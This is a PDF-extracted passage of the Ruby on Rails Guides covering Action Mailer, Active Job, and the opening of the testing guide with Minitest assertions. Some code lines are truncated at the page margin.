To login to the site, just follow this link: <%= @url %>.
Thanks for joining and have a great day!

When you call the mail method now, Action Mailer will detect the two
templates (text and HTML) and automatically generate a
multipart/alternative email.
2.1.4 Calling the Mailer

Mailers are really just another way to render a view. Instead of rendering a
view and sending out the HTTP protocol, they are just sending it out
through the email protocols instead. Due to this, it makes sense to just
have your controller tell the Mailer to send an email when a user is
successfully created.
Setting this up is painfully simple.
First, let's create a simple User scaffold:
$ bin/rails generate scaffold user name email login
$ bin/rails db:migrate

Now that we have a user model to play with, we will just edit the
app/controllers/users_controller.rb make it instruct the UserMailer
to deliver an email to the newly created user by editing the create action
and inserting a call to UserMailer.welcome_email right after the user is
successfully saved.
Action Mailer is nicely integrated with Active Job so you can send emails
outside of the request-response cycle, so the user doesn't have to wait on it:

class UsersController < ApplicationController

# POST /users
# POST /users.json
def create
@user = User.new(params[:user])

respond_to do |format|
if @user.save
# Tell the UserMailer to send a welcome email after save
UserMailer.welcome_email(@user).deliver_later

format.html { redirect_to(@user, notice: 'User was succe

format.json { render json: @user, status: :created, loca
else
format.html { render action: 'new' }
format.json { render json: @user.errors, status: :unproc
end
end
end
end

Active Job's default behavior is to execute jobs via the :async adapter. So,
you can use deliver_later now to send emails asynchronously. Active
Job's default adapter runs jobs with an in-process thread pool. It's wellsuited for the development/test environments, since it doesn't require any
external infrastructure, but it's a poor fit for production since it drops
pending jobs on restart. If you need a persistent backend, you will need to
use an Active Job adapter that has a persistent backend (Sidekiq, Resque,
etc).
If you want to send emails right away (from a cronjob for example) just
call deliver_now:
class SendWeeklySummary
def run
User.find_each do |user|
UserMailer.weekly_summary(user).deliver_now
end
end

end

The method welcome_email returns an ActionMailer::MessageDelivery

object which can then just be told deliver_now or deliver_later to send
itself out. The ActionMailer::MessageDelivery object is just a wrapper
around a Mail::Message. If you want to inspect, alter or do anything else
with the Mail::Message object you can access it with the message method
on the ActionMailer::MessageDelivery object.
2.2 Auto encoding header values
Action Mailer handles the auto encoding of multibyte characters inside of
headers and bodies.
For more complex examples such as defining alternate character sets or
self-encoding text first, please refer to the Mail library.
2.3 Complete List of Action Mailer Methods
There are just three methods that you need to send pretty much any email
message:
headers - Specifies any header on the email you want. You can pass

a hash of header field names and value pairs, or you can call
headers[:field_name] = 'value'.
attachments - Allows you to add attachments to your email. For
example, attachments['file-name.jpg'] = File.read('filename.jpg').
mail - Sends the actual email itself. You can pass in headers as a hash
to the mail method as a parameter, mail will then create an email,
either plain text, or multipart, depending on what email templates you
have defined.
2.3.1 Adding Attachments

Action Mailer makes it very easy to add attachments.

Pass the file name and content and Action Mailer and the Mail gem
will automatically guess the mime_type, set the encoding and create
the attachment.

attachments['filename.jpg'] = File.read('/path/to/filename.j

When the mail method will be triggered, it will send a multipart email
with an attachment, properly nested with the top level being
multipart/mixed and the first part being a multipart/alternative
containing the plain text and HTML email messages.
Mail will automatically Base64 encode an attachment. If you want
something different, encode your content and pass in the encoded content
and encoding in a Hash to the attachments method.
Pass the file name and specify headers and content and Action Mailer
and Mail will use the settings you pass in.

encoded_content = SpecialEncode(File.read('/path/to/filename
attachments['filename.jpg'] = {
mime_type: 'application/gzip',
encoding: 'SpecialEncoding',
content: encoded_content
}

If you specify an encoding, Mail will assume that your content is already
encoded and not try to Base64 encode it.
2.3.2 Making Inline Attachments

Action Mailer 3.0 makes inline attachments, which involved a lot of

hacking in pre 3.0 versions, much simpler and trivial as they should be.

First, to tell Mail to turn an attachment into an inline attachment, you

just call #inline on the attachments method within your Mailer:

def welcome
attachments.inline['image.jpg'] = File.read('/path/to/imag
end

Then in your view, you can just reference attachments as a hash and
specify which attachment you want to show, calling url on it and
then passing the result into the image_tag method:
<p>Hello there, this is our image</p>
<%= image_tag attachments['image.jpg'].url %>

As this is a standard call to image_tag you can pass in an options

hash after the attachment URL as you could for any other image:
<p>Hello there, this is our image</p>

<%= image_tag attachments['image.jpg'].url, alt: 'My Photo',

2.3.3 Sending Email To Multiple Recipients

It is possible to send email to one or more recipients in one email (e.g.,

informing all admins of a new signup) by setting the list of emails to the
:to key. The list of emails can be an array of email addresses or a single
string with the addresses separated by commas.
class AdminMailer < ApplicationMailer
default to: Proc.new { Admin.pluck(:email) },
from: '[email protected]'
def new_registration(user)
@user = user
mail(subject: "New User Signup: #{@user.email}")
end

end

The same format can be used to set carbon copy (Cc:) and blind carbon
copy (Bcc:) recipients, by using the :cc and :bcc keys respectively.
2.3.4 Sending Email With Name

Sometimes you wish to show the name of the person instead of just their
email address when they receive the email. The trick to doing that is to
format the email address in the format "Full Name" <email>.

def welcome_email(user)
@user = user
email_with_name = %("#{@user.name}" <#{@user.email}>)
mail(to: email_with_name, subject: 'Welcome to My Awesome Site
end

2.4 Mailer Views

Mailer views are located in the app/views/name_of_mailer_class
directory. The specific mailer view is known to the class because its name
is the same as the mailer method. In our example from above, our mailer
view for the welcome_email method will be in
app/views/user_mailer/welcome_email.html.erb for the HTML
version and welcome_email.text.erb for the plain text version.
To change the default mailer view for your action you do something like:
class UserMailer < ApplicationMailer
default from: '[email protected]'
def welcome_email(user)
@user = user
@url = 'http://example.com/login'
mail(to: @user.email,
subject: 'Welcome to My Awesome Site',

template_path: 'notifications',
template_name: 'another')
end
end

In this case it will look for templates at app/views/notifications with

name another. You can also specify an array of paths for template_path,
and they will be searched in order.
If you want more flexibility you can also pass a block and render specific
templates or even render inline or text without using a template file:
class UserMailer < ApplicationMailer
default from: '[email protected]'
def welcome_email(user)
@user = user
@url = 'http://example.com/login'
mail(to: @user.email,
subject: 'Welcome to My Awesome Site') do |format|
format.html { render 'another_template' }
format.text { render text: 'Render text' }
end
end
end

This will render the template 'another_template.html.erb' for the HTML

part and use the rendered text for the text part. The render command is the
same one used inside of Action Controller, so you can use all the same
options, such as :text, :inline etc.
2.4.1 Caching mailer view

You can do cache in mailer views like in application views using cache
method.
<% cache do %>

<%= @company.name %>

<% end %>

And in order to use this feature, you need to configure your application
with this:
config.action_mailer.perform_caching = true

2.5 Action Mailer Layouts

Just like controller views, you can also have mailer layouts. The layout
name needs to be the same as your mailer, such as user_mailer.html.erb
and user_mailer.text.erb to be automatically recognized by your mailer
as a layout.
In order to use a different file, call layout in your mailer:
class UserMailer < ApplicationMailer
layout 'awesome' # use awesome.(html|text).erb as the layout
end

Just like with controller views, use yield to render the view inside the
layout.
You can also pass in a layout: 'layout_name' option to the render call
inside the format block to specify different layouts for different formats:
class UserMailer < ApplicationMailer
def welcome_email(user)
mail(to: user.email) do |format|
format.html { render layout: 'my_layout' }
format.text
end
end
end

Will render the HTML part using the my_layout.html.erb file and the
text part with the usual user_mailer.text.erb file if it exists.
2.6 Previewing Emails
Action Mailer previews provide a way to see how emails look by visiting a
special URL that renders them. In the above example, the preview class for
UserMailer should be named UserMailerPreview and located in
test/mailers/previews/user_mailer_preview.rb. To see the preview
of welcome_email, implement a method that has the same name and call
UserMailer.welcome_email:
class UserMailerPreview < ActionMailer::Preview
def welcome_email
UserMailer.welcome_email(User.first)
end
end

Then the preview will be available in

http://localhost:3000/rails/mailers/user_mailer/welcome_email.
If you change something in
app/views/user_mailer/welcome_email.html.erb or the mailer itself,

it'll automatically reload and render it so you can visually see the new style
instantly. A list of previews are also available in
http://localhost:3000/rails/mailers.
By default, these preview classes live in test/mailers/previews. This
can be configured using the preview_path option. For example, if you
want to change it to lib/mailer_previews, you can configure it in
config/application.rb:

config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_pr

2.7 Generating URLs in Action Mailer Views

Unlike controllers, the mailer instance doesn't have any context about the
incoming request so you'll need to provide the :host parameter yourself.
As the :host usually is consistent across the application you can configure
it globally in config/application.rb:

config.action_mailer.default_url_options = { host: 'example.com'

Because of this behavior you cannot use any of the *_path helpers inside
of an email. Instead you will need to use the associated *_url helper. For
example instead of using
<%= link_to 'welcome', welcome_path %>

You will need to use:

<%= link_to 'welcome', welcome_url %>

By using the full URL, your links will now work in your emails.
2.7.1 Generating URLs with url_for

url_for generate full URL by default in templates.

If you did not configure the :host option globally make sure to pass it to
url_for.
<%= url_for(host: 'example.com',
controller: 'welcome',
action: 'greeting') %>

2.7.2 Generating URLs with Named Routes

Email clients have no web context and so paths have no base URL to form
complete web addresses. Thus, you should always use the "_url" variant of
named route helpers.
If you did not configure the :host option globally make sure to pass it to
the url helper.
<%= user_url(@user, host: 'example.com') %>

non-GET links require jQuery UJS and won't work in mailer templates.
They will result in normal GET requests.
2.8 Adding images in Action Mailer Views
Unlike controllers, the mailer instance doesn't have any context about the
incoming request so you'll need to provide the :asset_host parameter
yourself.
As the :asset_host usually is consistent across the application you can
configure it globally in config/application.rb:
config.action_mailer.asset_host = 'http://example.com'

Now you can display an image inside your email.

<%= image_tag 'image.jpg' %>

2.9 Sending Multipart Emails

Action Mailer will automatically send multipart emails if you have

different templates for the same action. So, for our UserMailer example, if
you have welcome_email.text.erb and welcome_email.html.erb in
app/views/user_mailer, Action Mailer will automatically send a
multipart email with the HTML and text versions setup as different parts.
The order of the parts getting inserted is determined by the :parts_order
inside of the ActionMailer::Base.default method.
2.10 Sending Emails with Dynamic Delivery Options
If you wish to override the default delivery options (e.g. SMTP
credentials) while delivering emails, you can do this using
delivery_method_options in the mailer action.

class UserMailer < ApplicationMailer

def welcome_email(user, company)
@user = user
@url = user_url(@user)
delivery_options = { user_name: company.smtp_user,
password: company.smtp_password,
address: company.smtp_host }
mail(to: @user.email,
subject: "Please see the Terms and Conditions attached"
delivery_method_options: delivery_options)
end
end

2.11 Sending Emails without Template Rendering

There may be cases in which you want to skip the template rendering step
and supply the email body as a string. You can achieve this using the
:body option. In such cases don't forget to add the :content_type option.
Rails will default to text/plain otherwise.
class UserMailer < ApplicationMailer

def welcome_email(user, email_body)

mail(to: user.email,
body: email_body,
content_type: "text/html",
subject: "Already rendered!")
end
end

3 Receiving Emails
Receiving and parsing emails with Action Mailer can be a rather complex
endeavor. Before your email reaches your Rails app, you would have had
to configure your system to somehow forward emails to your app, which
needs to be listening for that. So, to receive emails in your Rails app you'll
need to:
Implement a receive method in your mailer.
Configure your email server to forward emails from the address(es)
you would like your app to receive to /path/to/app/bin/rails
runner 'UserMailer.receive(STDIN.read)'.
Once a method called receive is defined in any mailer, Action Mailer will
parse the raw incoming email into an email object, decode it, instantiate a
new mailer, and pass the email object to the mailer receive instance
method. Here's an example:
class UserMailer < ApplicationMailer
def receive(email)
page = Page.find_by(address: email.to.first)
page.emails.create(
subject: email.subject,
body: email.body
)
if email.has_attachments?
email.attachments.each do |attachment|
page.attachments.create({
file: attachment,
description: email.subject
})
end
end
end
end

4 Action Mailer Callbacks

Action Mailer allows for you to specify a before_action, after_action
and around_action.
Filters can be specified with a block or a symbol to a method in the
mailer class similar to controllers.
You could use a before_action to populate the mail object with
defaults, delivery_method_options or insert default headers and
attachments.
You could use an after_action to do similar setup as a
before_action but using instance variables set in your mailer action.
class UserMailer < ApplicationMailer
after_action :set_delivery_options,
:prevent_delivery_to_guests,
:set_business_headers
def feedback_message(business, user)
@business = business
@user = user
mail
end
def campaign_message(business, user)
@business = business
@user = user
end
private

def set_delivery_options
# You have access to the mail instance,
# @business and @user instance variables here
if @business && @business.has_smtp_settings?
mail.delivery_method.settings.merge!(@business.smtp_sett
end
end

def prevent_delivery_to_guests
if @user && @user.guest?
mail.perform_deliveries = false
end
end
def set_business_headers
if @business
headers["X-SMTPAPI-CATEGORY"] = @business.code
end
end
end

Mailer Filters abort further processing if body is set to a non-nil

value.

5 Using Action Mailer Helpers

Action Mailer now just inherits from AbstractController, so you have
access to the same generic helpers as you do in Action Controller.

6 Action Mailer Configuration

The following configuration options are best made in one of the
environment files (environment.rb, production.rb, etc...)
Configuration
logger

Description
Generates information on the mailing run if
available. Can be set to nil for no logging.
Compatible with both Ruby's own Logger and
Log4r loggers.
Allows detailed configuration for :smtp delivery
method:
:address - Allows you to use a remote mail

smtp_settings

server. Just change it from its default

"localhost" setting.
:port - On the off chance that your mail
server doesn't run on port 25, you can change
it.
:domain - If you need to specify a HELO
domain, you can do it here.
:user_name - If your mail server requires
authentication, set the username in this
setting.
:password - If your mail server requires
authentication, set the password in this
setting.
:authentication - If your mail server
requires authentication, you need to specify
the authentication type here. This is a symbol
and one of :plain (will send the password in
the clear), :login (will send password
Base64 encoded) or :cram_md5 (combines a

Challenge/Response mechanism to exchange

information and a cryptographic Message
Digest 5 algorithm to hash important
information)
:enable_starttls_auto - Detects if
STARTTLS is enabled in your SMTP server
and starts to use it. Defaults to true.
:openssl_verify_mode - When using TLS,
you can set how OpenSSL checks the
certificate. This is really useful if you need to
validate a self-signed and/or a wildcard
certificate. You can use the name of an
OpenSSL verify constant ('none', 'peer',
'client_once', 'fail_if_no_peer_cert') or
directly the constant
(OpenSSL::SSL::VERIFY_NONE,
OpenSSL::SSL::VERIFY_PEER, ...).
Allows you to override options for the :sendmail
delivery method.
sendmail_settings

:location - The location of the sendmail

executable. Defaults to /usr/sbin/sendmail
:arguments - The command line arguments
to be passed to sendmail. Defaults to -i -t.

Whether or not errors should be raised if the emai

fails to be delivered. This only works if the
raise_delivery_errors
external email server is configured for immediate
delivery.
Defines a delivery method. Possible values are:
:smtp (default), can be configured by using

delivery_method

config.action_mailer.smtp_settings.
:sendmail, can be configured by using
config.action_mailer.sendmail_settings
:file: save emails to files; can be configured

by using
config.action_mailer.file_settings.
:test: save emails to
ActionMailer::Base.deliveries array.

perform_deliveries

deliveries

default_options

See API docs for more info.

Determines whether deliveries are actually carried
out when the deliver method is invoked on the
Mail message. By default they are, but this can be
turned off to help functional testing.
Keeps an array of all the emails sent out through
the Action Mailer with delivery_method :test.
Most useful for unit and functional testing.
Allows you to set default values for the mail
method options (:from, :reply_to, etc.).

For a complete writeup of possible configurations see the Configuring

Action Mailer in our Configuring Rails Applications guide.
6.1 Example Action Mailer Configuration
An example would be adding the following to your appropriate
config/environments/$RAILS_ENV.rb file:
config.action_mailer.delivery_method = :sendmail
# Defaults to:
# config.action_mailer.sendmail_settings = {
# location: '/usr/sbin/sendmail',
# arguments: '-i -t'
# }
config.action_mailer.perform_deliveries = true

config.action_mailer.raise_delivery_errors = true
config.action_mailer.default_options = {from: 'no-reply@example.

6.2 Action Mailer Configuration for Gmail

As Action Mailer now uses the Mail gem, this becomes as simple as
adding to your config/environments/$RAILS_ENV.rb file:
config.action_mailer.delivery_method = :smtp
config.action_mailer.smtp_settings = {
address: 'smtp.gmail.com',
port: 587,
domain: 'example.com',
user_name: '<username>',
password: '<password>',
authentication: 'plain',
enable_starttls_auto: true }

Note: As of July 15, 2014, Google increased its security measures and now
blocks attempts from apps it deems less secure. You can change your
gmail settings here to allow the attempts or use another ESP to send email
by replacing 'smtp.gmail.com' above with the address of your provider.

7 Mailer Testing
You can find detailed instructions on how to test your mailers in the
testing guide.

8 Intercepting Emails
There are situations where you need to edit an email before it's delivered.
Fortunately Action Mailer provides hooks to intercept every email. You
can register an interceptor to make modifications to mail messages right
before they are handed to the delivery agents.
class SandboxEmailInterceptor
def self.delivering_email(message)
message.to = ['[email protected]']
end
end

Before the interceptor can do its job you need to register it with the Action
Mailer framework. You can do this in an initializer file
config/initializers/sandbox_email_interceptor.rb

if Rails.env.staging?
ActionMailer::Base.register_interceptor(SandboxEmailIntercepto
end

The example above uses a custom environment called "staging" for a

production like server but for testing purposes. You can read Creating
Rails environments for more information about custom Rails
environments.

Active Job Basics Ruby on Rails

Guides

1 Introduction
Active Job is a framework for declaring jobs and making them run on a
variety of queuing backends. These jobs can be everything from regularly
scheduled clean-ups, to billing charges, to mailings. Anything that can be
chopped up into small units of work and run in parallel, really.

2 The Purpose of Active Job

The main point is to ensure that all Rails apps will have a job infrastructure
in place. We can then have framework features and other gems build on
top of that, without having to worry about API differences between various
job runners such as Delayed Job and Resque. Picking your queuing
backend becomes more of an operational concern, then. And you'll be able
to switch between them without having to rewrite your jobs.
Rails by default comes with an "immediate runner" queuing
implementation. That means that each job that has been enqueued will run
immediately.

3 Creating a Job
This section will provide a step-by-step guide to creating a job and
enqueuing it.
3.1 Create the Job
Active Job provides a Rails generator to create jobs. The following will
create a job in app/jobs (with an attached test case under test/jobs):
$ bin/rails generate job guests_cleanup
invoke test_unit
create test/jobs/guests_cleanup_job_test.rb
create app/jobs/guests_cleanup_job.rb

You can also create a job that will run on a specific queue:
$ bin/rails generate job guests_cleanup --queue urgent

If you don't want to use a generator, you could create your own file inside
of app/jobs, just make sure that it inherits from ApplicationJob.
Here's what a job looks like:
class GuestsCleanupJob < ApplicationJob
queue_as :default
def perform(*guests)
# Do something later
end
end

Note that you can define perform with as many arguments as you want.
3.2 Enqueue the Job

Enqueue a job like so:

# Enqueue a job to be performed as soon as the queuing system is

# free.
GuestsCleanupJob.perform_later guest

# Enqueue a job to be performed tomorrow at noon.

GuestsCleanupJob.set(wait_until: Date.tomorrow.noon).perform_lat
# Enqueue a job to be performed 1 week from now.
GuestsCleanupJob.set(wait: 1.week).perform_later(guest)

# `perform_now` and `perform_later` will call `perform` under th

# you can pass as many arguments as defined in the latter.
GuestsCleanupJob.perform_later(guest1, guest2, filter: 'some_fil

That's it!

4 Job Execution
For enqueuing and executing jobs in production you need to set up a
queuing backend, that is to say you need to decide for a 3rd-party queuing
library that Rails should use. Rails itself only provides an in-process
queuing system, which only keeps the jobs in RAM. If the process crashes
or the machine is reset, then all outstanding jobs are lost with the default
async back-end. This may be fine for smaller apps or non-critical jobs, but
most production apps will need to pick a persistent backend.
4.1 Backends
Active Job has built-in adapters for multiple queuing backends (Sidekiq,
Resque, Delayed Job and others). To get an up-to-date list of the adapters
see the API Documentation for ActiveJob::QueueAdapters.
4.2 Setting the Backend
You can easily set your queuing backend:
# config/application.rb
module YourApp
class Application < Rails::Application
# Be sure to have the adapter's gem in your Gemfile
# and follow the adapter's specific installation
# and deployment instructions.
config.active_job.queue_adapter = :sidekiq
end
end

You can also configure your backend on a per job basis.

class GuestsCleanupJob < ApplicationJob
self.queue_adapter = :resque
#....
end

# Now your job will use `resque` as it's backend queue adapter o
# was configured in `config.active_job.queue_adapter`.

4.3 Starting the Backend

Since jobs run in parallel to your Rails application, most queuing libraries
require that you start a library-specific queuing service (in addition to
starting your Rails app) for the job processing to work. Refer to library
documentation for instructions on starting your queue backend.
Here is a noncomprehensive list of documentation:
Sidekiq
Resque
Sucker Punch
Queue Classic

5 Queues
Most of the adapters support multiple queues. With Active Job you can
schedule the job to run on a specific queue:
class GuestsCleanupJob < ApplicationJob
queue_as :low_priority
#....
end

You can prefix the queue name for all your jobs using
config.active_job.queue_name_prefix in application.rb:
# config/application.rb
module YourApp
class Application < Rails::Application
config.active_job.queue_name_prefix = Rails.env
end
end
# app/jobs/guests_cleanup_job.rb
class GuestsCleanupJob < ApplicationJob
queue_as :low_priority
#....
end

# Now your job will run on queue production_low_priority on your

# production environment and on staging_low_priority
# on your staging environment

The default queue name prefix delimiter is '_'. This can be changed by
setting config.active_job.queue_name_delimiter in application.rb:
# config/application.rb
module YourApp
class Application < Rails::Application
config.active_job.queue_name_prefix = Rails.env
config.active_job.queue_name_delimiter = '.'

end
end
# app/jobs/guests_cleanup_job.rb
class GuestsCleanupJob < ApplicationJob
queue_as :low_priority
#....
end

# Now your job will run on queue production.low_priority on your

# production environment and on staging.low_priority
# on your staging environment

If you want more control on what queue a job will be run you can pass a
:queue option to #set:
MyJob.set(queue: :another_queue).perform_later(record)

To control the queue from the job level you can pass a block to #queue_as.
The block will be executed in the job context (so you can access
self.arguments) and you must return the queue name:
class ProcessVideoJob < ApplicationJob
queue_as do
video = self.arguments.first
if video.owner.premium?
:premium_videojobs
else
:videojobs
end
end
def perform(video)
# Do process video
end
end
ProcessVideoJob.perform_later(Video.last)

Make sure your queuing backend "listens" on your queue name. For some
backends you need to specify the queues to listen to.

6 Callbacks
Active Job provides hooks during the life cycle of a job. Callbacks allow
you to trigger logic during the life cycle of a job.
6.1 Available callbacks
before_enqueue
around_enqueue
after_enqueue
before_perform
around_perform
after_perform

6.2 Usage
class GuestsCleanupJob < ApplicationJob
queue_as :default
before_enqueue do |job|
# Do something with the job instance
end
around_perform do |job, block|
# Do something before perform
block.call
# Do something after perform
end
def perform
# Do something later
end
end

7 Action Mailer
One of the most common jobs in a modern web application is sending
emails outside of the request-response cycle, so the user doesn't have to
wait on it. Active Job is integrated with Action Mailer so you can easily
send emails asynchronously:
# If you want to send the email now use #deliver_now
UserMailer.welcome(@user).deliver_now

# If you want to send the email through Active Job use #deliver_
UserMailer.welcome(@user).deliver_later

8 Internationalization
Each job uses the I18n.locale set when the job was created. Useful if you
send emails asynchronously:
I18n.locale = :eo

UserMailer.welcome(@user).deliver_later # Email will be localize

9 GlobalID
Active Job supports GlobalID for parameters. This makes it possible to
pass live Active Record objects to your job instead of class/id pairs, which
you then have to manually deserialize. Before, jobs would look like this:
class TrashableCleanupJob < ApplicationJob
def perform(trashable_class, trashable_id, depth)
trashable = trashable_class.constantize.find(trashable_id)
trashable.cleanup(depth)
end
end

Now you can simply do:

class TrashableCleanupJob < ApplicationJob
def perform(trashable, depth)
trashable.cleanup(depth)
end
end

This works with any class that mixes in GlobalID::Identification,

which by default has been mixed into Active Record classes.

10 Exceptions
Active Job provides a way to catch exceptions raised during the execution
of the job:
class GuestsCleanupJob < ApplicationJob
queue_as :default
rescue_from(ActiveRecord::RecordNotFound) do |exception|
# Do something with the exception
end
def perform
# Do something later
end
end

10.1 Deserialization
GlobalID allows serializing full Active Record objects passed to #perform.
If a passed record is deleted after the job is enqueued but before the
#perform method is called Active Job will raise an
ActiveJob::DeserializationError exception.

11 Job Testing
You can find detailed instructions on how to test your jobs in the testing
guide.

A Guide to Testing Rails

Applications...

1 Why Write Tests for your Rails Applications?

Rails makes it super easy to write your tests. It starts by producing
skeleton test code while you are creating your models and controllers.
By simply running your Rails tests you can ensure your code adheres to
the desired functionality even after some major code refactoring.
Rails tests can also simulate browser requests and thus you can test your
application's response without having to test it through your browser.

2 Introduction to Testing
Testing support was woven into the Rails fabric from the beginning. It
wasn't an "oh! let's bolt on support for running tests because they're new
and cool" epiphany.
2.1 Rails Sets up for Testing from the Word Go
Rails creates a test directory for you as soon as you create a Rails project
using rails new application_name. If you list the contents of this
directory then you shall see:
$ ls -F test
controllers/ helpers/ mailers/ test_helper.rb
fixtures/ integration/ models/

The models directory is meant to hold tests for your models, the
controllers directory is meant to hold tests for your controllers and the
integration directory is meant to hold tests that involve any number of
controllers interacting. There is also a directory for testing your mailers
and one for testing view helpers.
Fixtures are a way of organizing test data; they reside in the fixtures
directory.
The test_helper.rb file holds the default configuration for your tests.
2.2 The Test Environment
By default, every Rails application has three environments: development,
test, and production.
Each environment's configuration can be modified similarly. In this case,
we can modify our test environment by changing the options found in

config/environments/test.rb.

Your tests are run under RAILS_ENV=test.

2.3 Rails meets Minitest
If you remember, we used the rails generate model command in the
Getting Started with Rails guide. We created our first model, and among
other things it created test stubs in the test directory:
$ bin/rails generate model article title:string body:text
...
create app/models/article.rb
create test/models/article_test.rb
create test/fixtures/articles.yml
...

The default test stub in test/models/article_test.rb looks like this:

require 'test_helper'
class ArticleTest < ActiveSupport::TestCase
# test "the truth" do
# assert true
# end
end

A line by line examination of this file will help get you oriented to Rails
testing code and terminology.
require 'test_helper'

By requiring this file, test_helper.rb the default configuration to run our

tests is loaded. We will include this with all the tests we write, so any
methods added to this file are available to all our tests.

class ArticleTest < ActiveSupport::TestCase

The ArticleTest class defines a test case because it inherits from

ActiveSupport::TestCase. ArticleTest thus has all the methods
available from ActiveSupport::TestCase. Later in this guide, we'll see
some of the methods it gives us.
Any method defined within a class inherited from Minitest::Test (which
is the superclass of ActiveSupport::TestCase) that begins with test_
(case sensitive) is simply called a test. So, methods defined as
test_password and test_valid_password are legal test names and are
run automatically when the test case is run.
Rails also adds a test method that takes a test name and a block. It
generates a normal Minitest::Unit test with method names prefixed with
test_. So you don't have to worry about naming the methods, and you can
write something like:
test "the truth" do
assert true
end

Which is approximately the same as writing this:

def test_the_truth
assert true
end

However only the test macro allows a more readable test name. You can
still use regular method definitions though.
The method name is generated by replacing spaces with underscores. The
result does not need to be a valid Ruby identifier though, the name may
contain punctuation characters etc. That's because in Ruby technically any

string may be a method name. This may require use of define_method and
send calls to function properly, but formally there's little restriction on the
name.
Next, let's look at our first assertion:
assert true

An assertion is a line of code that evaluates an object (or expression) for

expected results. For example, an assertion can check:
does this value = that value?
is this object nil?
does this line of code throw an exception?
is the user's password greater than 5 characters?
Every test may contain one or more assertions, with no restriction as to
how many assertions are allowed. Only when all the assertions are
successful will the test pass.
2.3.1 Your first failing test

To see how a test failure is reported, you can add a failing test to the
article_test.rb test case.
test "should not save article without title" do
article = Article.new
assert_not article.save
end

Let us run this newly added test (where 6 is the number of line where the
test is defined).
$ bin/rails test test/models/article_test.rb:6
Run options: --seed 44656

# Running:
F

Failure:
ArticleTest#test_should_not_save_article_without_title [/path/to
Expected true to be nil or false

bin/rails test test/models/article_test.rb:6

Finished in 0.023918s, 41.8090 runs/s, 41.8090 assertions/s.

1 runs, 1 assertions, 1 failures, 0 errors, 0 skips

In the output, F denotes a failure. You can see the corresponding trace
shown under Failure along with the name of the failing test. The next few
lines contain the stack trace followed by a message that mentions the
actual value and the expected value by the assertion. The default assertion
messages provide just enough information to help pinpoint the error. To
make the assertion failure message more readable, every assertion provides
an optional message parameter, as shown here:
test "should not save article without title" do
article = Article.new
assert_not article.save, "Saved the article without a title"
end

Running this test shows the friendlier assertion message:

Failure:
ArticleTest#test_should_not_save_article_without_title [/path/to
Saved the article without a title

Now to get this test to pass we can add a model level validation for the title
field.
class Article < ApplicationRecord
validates :title, presence: true
end

Now the test should pass. Let us verify by running the test again:
$ bin/rails test test/models/article_test.rb:6
Run options: --seed 31252
# Running:
.
Finished in 0.027476s, 36.3952 runs/s, 36.3952 assertions/s.
1 runs, 1 assertions, 0 failures, 0 errors, 0 skips

Now, if you noticed, we first wrote a test which fails for a desired
functionality, then we wrote some code which adds the functionality and
finally we ensured that our test passes. This approach to software
development is referred to as Test-Driven Development (TDD).
2.3.2 What an error looks like

To see how an error gets reported, here's a test containing an error:

test "should report error" do

# some_undefined_variable is not defined elsewhere in the test
some_undefined_variable
assert true
end

Now you can see even more output in the console from running the tests:

$ bin/rails test test/models/article_test.rb

Run options: --seed 1808
# Running:
.E

Error:
ArticleTest#test_should_report_error:
NameError: undefined local variable or method `some_undefined_va
test/models/article_test.rb:11:in `block in <class:ArticleTe

bin/rails test test/models/article_test.rb:9

Finished in 0.040609s, 49.2500 runs/s, 24.6250 assertions/s.

2 runs, 1 assertions, 0 failures, 1 errors, 0 skips

Notice the 'E' in the output. It denotes a test with error.

The execution of each test method stops as soon as any error or an
assertion failure is encountered, and the test suite continues with the next
method. All test methods are executed in random order. The
config.active_support.test_order option can be used to configure test
order.
When a test fails you are presented with the corresponding backtrace. By
default Rails filters that backtrace and will only print lines relevant to your
application. This eliminates the framework noise and helps to focus on
your code. However there are situations when you want to see the full
backtrace. Simply set the -b (or --backtrace) argument to enable this
behavior:
$ bin/rails test -b test/models/article_test.rb

If we want this test to pass we can modify it to use assert_raises like so:

test "should report error" do

# some_undefined_variable is not defined elsewhere in the test
assert_raises(NameError) do
some_undefined_variable
end
end

This test should now pass.

2.4 Available Assertions
By now you've caught a glimpse of some of the assertions that are
available. Assertions are the worker bees of testing. They are the ones that
actually perform the checks to ensure that things are going as planned.
Here's an extract of the assertions you can use with Minitest, the default
testing library used by Rails. The [msg] parameter is an optional string
message you can specify to make your test failure messages clearer.
Assertion
assert( test, [msg] )

Purpose
Ensures that test is true.

assert_not( test, [msg]

Ensures that test is false.
)
assert_equal( expected,
Ensures that expected == actual is true.
actual, [msg] )
assert_not_equal(
expected, actual, [msg] Ensures that expected != actual is true.
)
assert_same( expected,
actual, [msg] )

Ensures that expected.equal?(actual) is

true.

assert_not_same(
Ensures that expected.equal?(actual) is
expected, actual, [msg]
false.
)

assert_nil( obj, [msg]

)
assert_not_nil( obj,
[msg] )
assert_empty( obj,
[msg] )
assert_not_empty( obj,
[msg] )

Ensures that obj.nil? is true.

Ensures that obj.nil? is false.
Ensures that obj is empty?.
Ensures that obj is not empty?.

Ensures that a string matches the regular

expression.
assert_no_match(
Ensures that a string doesn't match the regular
regexp, string, [msg] ) expression.
assert_match( regexp,
string, [msg] )

assert_includes(
collection, obj, [msg] Ensures that obj is in collection.
)
assert_not_includes(
collection, obj, [msg] Ensures that obj is not in collection.
)
assert_in_delta(
Ensures that the numbers expected and
expected, actual,
actual are within delta of each other.
[delta], [msg] )
assert_not_in_delta(
Ensures that the numbers expected and
expected, actual,
actual are not within delta of each other.
[delta], [msg] )
assert_throws( symbol,
[msg] ) { block }

Ensures that the given block throws the

symbol.

assert_raises(
Ensures that the given block raises one of the
exception1, exception2,
given exceptions.
... ) { block }
assert_nothing_raised { Ensures that the given block doesn't raise any
block }
exceptions.
assert_instance_of(
Ensures that obj is an instance of class.
class, obj, [msg] )
assert_not_instance_of(
Ensures that obj is not an instance of class.
class, obj, [msg] )
assert_kind_of( class,
obj, [msg] )

Ensures that obj is an instance of class or is

descending from it.

assert_not_kind_of(
class, obj, [msg] )

Ensures that obj is not an instance of class

and is not descending from it.

assert_respond_to( obj,
Ensures that obj responds to symbol.
symbol, [msg] )
assert_not_respond_to(
Ensures that obj does not respond to symbol.
obj, symbol, [msg] )
assert_operator( obj1,
operator, [obj2], [msg] Ensures that obj1.operator(obj2) is true.
)
assert_not_operator(
obj1, operator, [obj2], Ensures that obj1.operator(obj2) is false.
[msg] )
